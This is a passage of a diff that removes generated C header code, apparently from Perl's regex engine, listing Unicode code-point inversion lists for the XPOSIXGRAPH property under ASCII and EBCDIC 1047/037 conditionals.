0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXGRAPH_invlist[] = { /* for EBCDIC 1047 */ - 1309, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x1681, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXGRAPH_invlist[] = { /* for EBCDIC 037 */ - 1309, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 